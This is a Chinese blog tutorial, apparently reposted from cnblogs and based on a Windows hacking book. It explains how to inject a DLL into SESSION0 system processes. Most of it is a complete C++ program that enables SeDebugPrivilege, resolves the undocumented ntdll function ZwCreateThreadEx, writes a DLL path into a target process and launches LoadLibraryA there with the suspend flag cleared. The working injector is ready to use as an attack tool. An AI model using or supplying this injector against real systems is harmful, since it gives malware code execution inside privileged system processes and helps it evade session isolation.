安全之路 —— 利用内核函数实现注入系统进程

简介

在之前的文章中曾说过利用CreateRemoteThread函数进行远线程注入是最经典的一种方式。但是这种方式却无法成功注入系统进程,因为系统进程是处在SESSION0高权限级别的会话层,用户进程在执行CreateRemoteThread函数时会失败。所以经过前辈们的研究发现,CreateRemoteThread底层会调用内核函数ZwCreateThreadEx,而系统调用此函数时,如果发现时系统进程,会把函数的第七个参数CreateSuspended设置为1,导致线程创建完成后会一直处于挂起状态,无法恢复运行,导致注入失败。所以我们必须手动调用ZwCreateThread这一内核函数,将第七个参数设置为0即可。系统进程注入成功后,由于会话层隔离机制,所以DLL的对话框并不会弹出,这时我们就需要使用PCHunter等工具直接查看进程模块进行验证。

然而ZwCreateThreadEx函数在ntdll.dll中并未声明,所以必须手动使用GetProcAddress函数将其地址导出。

代码样例

////////////////////////////////
//
// FileName : KernelFuncInject.cpp
// Creator : PeterZheng
// Date : 2019/01/10 21:32
// Comment : Use Kernel Function To Inject
//
////////////////////////////////

#pragma once
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <strsafe.h>
#include <Windows.h>
#include <TlHelp32.h>

#ifdef _WIN64
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    ULONG CreateThreadFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    LPVOID pUnkown);
#else
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    BOOL CreateSuspended,
    DWORD dwStackSize,
    DWORD dw1,
    DWORD dw2,
    LPVOID pUnkown);
#endif

using namespace std;

// 提权函数
BOOL EnableDebugPriv(LPCSTR name)
{
    HANDLE hToken;
    LUID luid;
    TOKEN_PRIVILEGES tp;
    // 打开进程令牌
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        printf("[!]Get Process Token Error!\n");
        return false;
    }
    // 获取权限Luid
    if (!LookupPrivilegeValue(NULL, name, &luid))
    {
        printf("[!]Get Privilege Error!\n");
        return false;
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    // 修改进程权限
    if (!AdjustTokenPrivileges(hToken, false, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
    {
        printf("[!]Adjust Privilege Error!\n");
        return false;
    }
    return true;
}

// 根据进程名字获取进程Id
BOOL GetProcessIdByName(CHAR *szProcessName, DWORD& dwPid)
{
    HANDLE hSnapProcess = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapProcess == NULL)
    {
        printf("[*] Create Process Snap Error!\n");
        return FALSE;
    }
    PROCESSENTRY32 pe32 = { 0 };
    ::RtlZeroMemory(&pe32, sizeof(pe32));
    pe32.dwSize = sizeof(pe32);
    BOOL bRet = ::Process32First(hSnapProcess, &pe32);
    while (bRet)
    {
        if (_stricmp(pe32.szExeFile, szProcessName) == 0)
        {
            dwPid = pe32.th32ProcessID;
            return TRUE;
        }
        bRet = ::Process32Next(hSnapProcess, &pe32);
    }
    return FALSE;
}

int main(int argc, char* argv[])
{
    if (argc != 3)
    {
        printf("[*] Format Error!  \nYou Should FOLLOW THIS FORMAT: <APCInject EXENAME DLLNAME> \n");
        return 0;
    }
    LPSTR szExeName = (LPSTR)::VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    LPSTR szDllPath = (LPSTR)::VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    ::RtlZeroMemory(szExeName, 100);
    ::RtlZeroMemory(szDllPath, 100);
    ::StringCchCopy(szExeName, 100, argv[1]);
    ::StringCchCopy(szDllPath, 100, argv[2]);
    DWORD dwPid = 0;
    // 系统进程必须先提权才能打开,否则在OpenProcess步骤会失败
    EnableDebugPriv(SE_DEBUG_NAME);
    BOOL bRet = GetProcessIdByName(szExeName, dwPid);
    if (!bRet)
    {
        printf("[*] Get Process Id Error!\n");
        return 0;
    }
    HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (hProcess == NULL)
    {
        printf("[*] Open Process Error!\n");
        return 0;
    }
    DWORD dwDllPathLen = strlen(szDllPath) + 1;
    LPVOID lpBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (lpBaseAddress == NULL)
    {
        printf("[*] VirtualAllocEx Error!\n");
        return 0;
    }
    SIZE_T dwWriten = 0;
    // 把DLL路径字符串写入目标进程
    ::WriteProcessMemory(hProcess, lpBaseAddress, szDllPath, dwDllPathLen, &dwWriten);
    if (dwWriten != dwDllPathLen)
    {
        printf("[*] Write Process Memory Error!\n");
        return 0;
    }
    // 获取LoadLibrary函数地址
    LPVOID pLoadLibraryFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    if (pLoadLibraryFunc == NULL)
    {
        printf("[*] Get Func Address Error!\n");
        return 0;
    }
    HMODULE hNtdll = ::LoadLibrary("ntdll.dll");
    if (hNtdll == NULL)
    {
        printf("[*] Load NtDLL Error!\n");
        return 0;
    }
    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
    if (ZwCreateThreadEx == NULL)
    {
        printf("[*] Get NTDLL Func Address Error!\n");
        return 0;
    }
    DWORD dwStatus = 0;
    HANDLE hRemoteThread = NULL;
    dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pLoadLibraryFunc, lpBaseAddress, 0, 0, 0, 0, NULL);
    if (hRemoteThread == NULL)
    {
        printf("[*] Create Remote Thread Error!\n");
        return 0;
    }

    // DLL路径分割,方便输出
    LPCSTR szPathSign = "\\";
    LPSTR p = NULL;
    LPSTR next_token = NULL;
    p = strtok_s(szDllPath, szPathSign, &next_token);
    while (p)
    {
        StringCchCopy(szDllPath, 100, p);
        p = strtok_s(NULL, szPathSign, &next_token);
    }
    printf("[*] High Privilege Inject Info [%s ==> %s] Success\n", szDllPath, szExeName);

    ::CloseHandle(hProcess);
    ::FreeLibrary(hNtdll);
    ::VirtualFree(szExeName, 0, MEM_RELEASE);
    ::VirtualFree(szDllPath, 0, MEM_RELEASE);
    ::ExitProcess(0);
    return 0;
}

运行截图

利用内核函数注入的运行截图

参考资料

  1. 《Windows黑客编程技术详解》 【甘迪文 著】

猜你喜欢

转载自www.cnblogs.com/PeterZ1997/p/10596100.html
今日推荐